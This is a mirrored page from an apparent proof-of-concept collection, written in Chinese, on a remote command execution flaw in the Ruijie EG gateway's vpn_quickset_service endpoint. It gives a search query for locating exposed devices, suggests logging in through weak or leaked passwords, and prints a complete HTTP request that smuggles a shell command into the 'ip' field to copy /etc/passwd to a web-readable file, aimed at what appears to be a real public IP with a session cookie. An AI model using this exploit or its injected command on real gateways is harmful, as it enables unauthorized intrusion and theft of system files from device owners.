mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-08 11:57:27 +00:00
52 lines
1.9 KiB
Markdown
52 lines
1.9 KiB
Markdown
# 锐捷EG易网关vpn_quickset_service远程代码执行漏洞
|
|
|
|
**<font style="color:rgb(38, 38, 38);">一、漏洞简介</font>**
|
|
|
|
<font style="color:rgb(38, 38, 38);">锐捷 EG易网关cli存在后台远程命令执行漏洞。</font>
|
|
|
|
<font style="color:rgb(38, 38, 38);"> </font>**<font style="color:rgb(38, 38, 38);">二、影响版本</font>**
|
|
|
|
`锐捷EG易网关`
|
|
**<font style="color:rgb(38, 38, 38);">三、资产测绘</font>**
|
|
|
|
`app="Ruijie-EG易网关"`
|
|
<font style="color:rgb(38, 38, 38);">●登录页面</font>
|
|
|
|
|
|
|
|
|
|
|
|
**<font style="color:rgb(38, 38, 38);">四、漏洞复现</font>**
|
|
1、通过弱口令或账号密码泄露漏洞登录后台获取cookie
|
|
|
|
|
|
|
|
|
|
```plain
|
|
POST /itbox_pi/vpn_quickset_service.php?a=set_vpn HTTP/1.1
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=bnrul7jabde55u5moo2a4q57a0; helpKey=home_sys;user=admin
|
|
X-Requested-With: XMLHttpRequest
|
|
Host: 117.40.253.197:4430
|
|
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
|
|
Connection: close
|
|
Content-Length: 27
|
|
|
|
ip=|cat /etc/passwd >1.txt|
|
|
```
|
|
|
|
|
|
|
|
写入文件地址
|
|
|
|
```plain
|
|
/itbox_pi/1.txt
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
> 更新: 2024-06-24 11:42:25
|
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/xaqqf2rq9u5lwp76> |